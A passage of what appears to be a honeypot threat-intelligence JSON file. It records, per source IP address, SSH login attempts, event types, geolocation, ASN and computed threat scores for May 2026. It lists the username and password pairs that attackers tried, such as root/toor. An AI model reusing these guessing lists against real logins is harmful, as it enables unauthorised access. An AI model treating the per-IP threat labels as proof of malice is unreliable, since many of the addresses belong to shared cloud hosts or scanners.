        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:37:00.255000+00:00",
        "last_seen_30d": "2026-05-23T13:58:28.588000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 28
      }
    },
    "31.57.216.16": {
      "attack_count": 30,
      "first_seen": "2026-05-05T05:06:45.120Z",
      "last_seen": "2026-05-17T01:28:48.141Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "test",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "test",
        "haha123",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:06:45.120000+00:00",
        "last_seen_30d": "2026-05-17T01:29:53.529000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "64.89.160.207": {
      "attack_count": 28,
      "first_seen": "2026-05-09T15:08:53.243Z",
      "last_seen": "2026-05-18T10:20:42.290Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "ubnt"
      ],
      "passwords_attempted": [
        "p@ssw0rd",
        "root",
        "support",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:08:53.243000+00:00",
        "last_seen_30d": "2026-05-18T10:21:52.113000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "78.174.136.17": {
      "attack_count": 26,
      "first_seen": "2026-05-15T19:47:12.585Z",
      "last_seen": "2026-05-15T19:58:38.477Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "U\u015fak",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:47:12.585000+00:00",
        "last_seen_30d": "2026-05-15T19:59:50.868000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 18
      }
    },
    "14.1.104.86": {
      "attack_count": 24,
      "first_seen": "2026-05-08T11:07:20.902Z",
      "last_seen": "2026-05-08T11:09:56.292Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:07:20.902000+00:00",
        "last_seen_30d": "2026-05-08T11:11:04.003000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "106.43.102.123": {
      "attack_count": 22,
      "first_seen": "2026-05-19T18:11:39.541Z",
      "last_seen": "2026-05-19T19:13:52.805Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:11:39.541000+00:00",
        "last_seen_30d": "2026-05-19T19:14:59.379000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "91.208.184.96": {
      "attack_count": 18,
      "first_seen": "2026-05-12T04:48:00.095Z",
      "last_seen": "2026-05-27T09:55:17.994Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:48:00.095000+00:00",
        "last_seen_30d": "2026-05-27T09:56:24.975000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "116.110.217.5": {
      "attack_count": 15,
      "first_seen": "2026-05-24T21:38:41.725Z",
      "last_seen": "2026-05-24T21:51:10.242Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "anton",
        "btf",
        "george"
      ],
      "passwords_attempted": [
        "321start",
        "anton",
        "george"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:38:41.725000+00:00",
        "last_seen_30d": "2026-05-24T22:32:34.485000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "31.57.216.45": {
      "attack_count": 14,
      "first_seen": "2026-05-09T17:47:28.345Z",
      "last_seen": "2026-05-15T10:30:11.584Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ftp",
        "root"
      ],
      "passwords_attempted": [
        "ftp",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:47:28.345000+00:00",
        "last_seen_30d": "2026-05-15T10:31:21.052000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "161.35.123.155": {
      "attack_count": 13,
      "first_seen": "2026-05-13T15:49:03.043Z",
      "last_seen": "2026-05-14T08:58:04.374Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "support",
        "test"
      ],
      "passwords_attempted": [
        "password!@",
        "qwe123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:46:06.176000+00:00",
        "last_seen_30d": "2026-05-14T08:59:06.467000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 13
      }
    },
    "123.58.200.21": {
      "attack_count": 12,
      "first_seen": "2026-05-14T09:47:18.637Z",
      "last_seen": "2026-05-14T09:47:38.607Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 9.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 11,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T03:15:23.005000+00:00",
        "last_seen_30d": "2026-05-14T09:48:47.450000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 12,
        "Honeytrap": 9,
        "Dionaea": 4
      }
    },
    "192.227.227.26": {
      "attack_count": 12,
      "first_seen": "2026-05-02T14:46:50.714Z",
      "last_seen": "2026-05-02T14:48:40.374Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "toor"
      ],
      "commands_executed": [
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download.failed",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T14:46:50.714000+00:00",
        "last_seen_30d": "2026-05-02T14:49:42.940000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 2
      }
    },
    "91.208.206.182": {
      "attack_count": 12,
      "first_seen": "2026-05-09T05:56:57.465Z",
      "last_seen": "2026-05-09T14:22:41.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:56:57.465000+00:00",
        "last_seen_30d": "2026-05-09T14:23:49.627000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "186.57.173.147": {
      "attack_count": 10,
      "first_seen": "2026-05-22T23:40:53.261Z",
      "last_seen": "2026-05-22T23:45:09.019Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Quilmes",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:40:53.261000+00:00",
        "last_seen_30d": "2026-05-22T23:47:00.561000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10
      }
    },
    "201.238.35.247": {
      "attack_count": 10,
      "first_seen": "2026-05-19T01:54:04.311Z",
      "last_seen": "2026-05-19T03:47:38.465Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:54:04.311000+00:00",
        "last_seen_30d": "2026-05-19T03:48:41.609000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "152.252.75.102": {
      "attack_count": 8,
      "first_seen": "2026-05-19T23:04:04.119Z",
      "last_seen": "2026-05-20T01:14:35.310Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Tanabi",
      "asn": 10429,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:04:04.119000+00:00",
        "last_seen_30d": "2026-05-20T01:15:36.621000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "198.235.24.85": {
      "attack_count": 8,
      "first_seen": "2026-05-04T22:07:03.780Z",
      "last_seen": "2026-05-31T04:28:01.634Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T03:21:04+00:00",
        "last_seen_30d": "2026-05-31T18:28:13.041000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 32,
        "Cowrie": 8,
        "ConPot": 2
      }
    },
    "107.6.164.190": {
      "attack_count": 7,
      "first_seen": "2026-05-11T00:45:54.765Z",
      "last_seen": "2026-05-13T14:08:41.280Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:45:54.764000+00:00",
        "last_seen_30d": "2026-05-13T14:09:50.439000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "142.93.106.19": {
      "attack_count": 7,
      "first_seen": "2026-05-09T08:47:32.081Z",
      "last_seen": "2026-05-09T08:47:32.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 151919,
        "days_active_30d": 1,
        "ports_targeted_30d": 66254,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-09T08:43:06+00:00",
        "last_seen_30d": "2026-05-09T08:57:35.879000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130134,
        "Honeytrap": 21727,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 8,
        "Miniprint": 8,
        "Cowrie": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "74.249.178.165": {
      "attack_count": 7,
      "first_seen": "2026-05-24T09:20:07.978Z",
      "last_seen": "2026-05-24T09:20:17.980Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T09:27:06.593000+00:00",
        "last_seen_30d": "2026-05-30T10:44:29.165000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 7,
        "Honeytrap": 5
      }
    },
    "27.21.26.24": {
      "attack_count": 6,
      "first_seen": "2026-05-22T11:02:15.578Z",
      "last_seen": "2026-05-23T08:28:06.323Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:02:15.578000+00:00",
        "last_seen_30d": "2026-05-23T08:29:15.315000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "47.181.223.234": {
      "attack_count": 6,
      "first_seen": "2026-05-03T17:29:22.317Z",
      "last_seen": "2026-05-03T17:29:28.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Camarillo",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:29:22.317000+00:00",
        "last_seen_30d": "2026-05-03T17:30:38.523000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.132.197.140": {
      "attack_count": 6,
      "first_seen": "2026-05-09T10:04:42.614Z",
      "last_seen": "2026-05-09T10:04:49.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 51765,
      "as_org": "Oy Crea Nova Hosting Solution Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:04:42.614000+00:00",
        "last_seen_30d": "2026-05-09T10:05:57.566000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "181.115.208.189": {
      "attack_count": 5,
      "first_seen": "2026-05-17T04:36:25.261Z",
      "last_seen": "2026-05-17T04:36:28.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "plunga471"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:36:25.261000+00:00",
        "last_seen_30d": "2026-05-17T04:37:34.350000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.42.116.62": {
      "attack_count": 5,
      "first_seen": "2026-05-19T02:24:41.149Z",
      "last_seen": "2026-05-19T02:24:48.907Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "issabel"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T02:24:41.149000+00:00",
        "last_seen_30d": "2026-05-24T01:30:38.540000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Ciscoasa": 4
      }
    },
    "80.94.95.118": {
      "attack_count": 5,
      "first_seen": "2026-05-31T06:02:16.022Z",
      "last_seen": "2026-05-31T06:02:19.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "test"
      ],
      "passwords_attempted": [
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:02:16.022000+00:00",
        "last_seen_30d": "2026-05-31T06:03:24.859000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "106.80.180.96": {
      "attack_count": 4,
      "first_seen": "2026-05-05T01:28:40.064Z",
      "last_seen": "2026-05-05T01:30:40.067Z",
